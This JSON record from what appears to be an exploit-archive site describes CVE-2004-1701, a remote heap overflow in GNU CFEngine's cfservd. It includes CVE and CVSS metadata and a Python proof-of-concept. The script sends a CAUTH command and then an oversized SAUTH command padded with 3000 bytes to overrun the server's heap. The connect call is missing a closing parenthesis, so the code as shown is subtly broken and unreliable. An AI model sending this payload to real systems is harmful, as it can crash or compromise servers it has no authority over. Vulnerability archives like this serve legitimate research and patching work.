{"exploit":{"id":"EDB-24360","name":"GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (1)","description":"GNU CFEngine 2.0.x/2.1 - AuthenticationDialogue Remote Heap Buffer Overrun (1)","cves":["CVE-2004-1701"],"author":"Juan Pablo Martinez Kuhn","published":"2004-08-09","platform":"linux","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/24360","path":"exploits/linux/dos/24360.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-24360.py","vulnerabilities":[{"id":"CVE-2004-1701","state":"PUBLISHED","title":null,"titleSource":null,"description":"Heap-based buffer overflow in the AuthenticationDialogue function in cfservd for Cfengine 2.0.0 to 2.1.7p1 allows remote attackers to execute arbitrary code via a long SAUTH command during RSA authentication.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1701","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1701"},"updatedAt":"2024-08-08T01:00:37.071Z","retrievedAt":"2026-11-27T05:13:12.804Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-24360.png?v=2","url":"https://exploitbin.com/exploits/EDB-24360","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-24360/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-24360/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/10899/info\n\n# GNU cfengine cfservd is reported prone to a remote heap-based buffer overrun vulnerability. The vulnerability presents itself in the cfengine cfservd AuthenticationDialogue() function.\n\n# The issue exists due to a lack of sufficient boundary checks performed on challenge data that is received from a client.\n\n# Because the size of the buffer, the size of data copied in a memcpy() operation, and the data copied are all controlled by the attacker, a remote attacker may likely exploit this condition to corrupt in-line heap based memory management data.\n\n# cfservd employs an IP based access control method. This access control must be bypassed prior to exploitation. This may hinder exploitation attempts.\n\n# This vulnerability is reported to affect versions 2.0.0 to 2.1.7p1 of cfengine cfservd.\n\n\nimport struct\nimport socket\nimport time\n\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('192.168.1.1',5308)\n\n# CAUTH command\np = 'k' # status\np += '0000023' # len\np += 'CAUTH ' # command\np += 'HARE KRISHNA HARE'\nprint 'sending CAUTH command...'\ns.send(p)\n# SAUTH command\np = 'k' # status\np += '0003000' # len\np += 'SAUTH ' # command\np += 'n' # iscrypt\np += '00000010 ' # crypt_len\np += '00001000' # nonce_len\np += 'X' * 3000\nprint 'sending SAUTH command...'\ns.send(p)\n\na = s.recv(4096)\nprint a","sha256":"42fd5852abe91280db8f7cacb7a44ede1784cab000194a68ba54bbdcd32bc4cb","bytes":1402,"fetchedAt":"2026-11-27T05:13:07.135Z","encoding":"utf-8 (display only; download retains original bytes)"}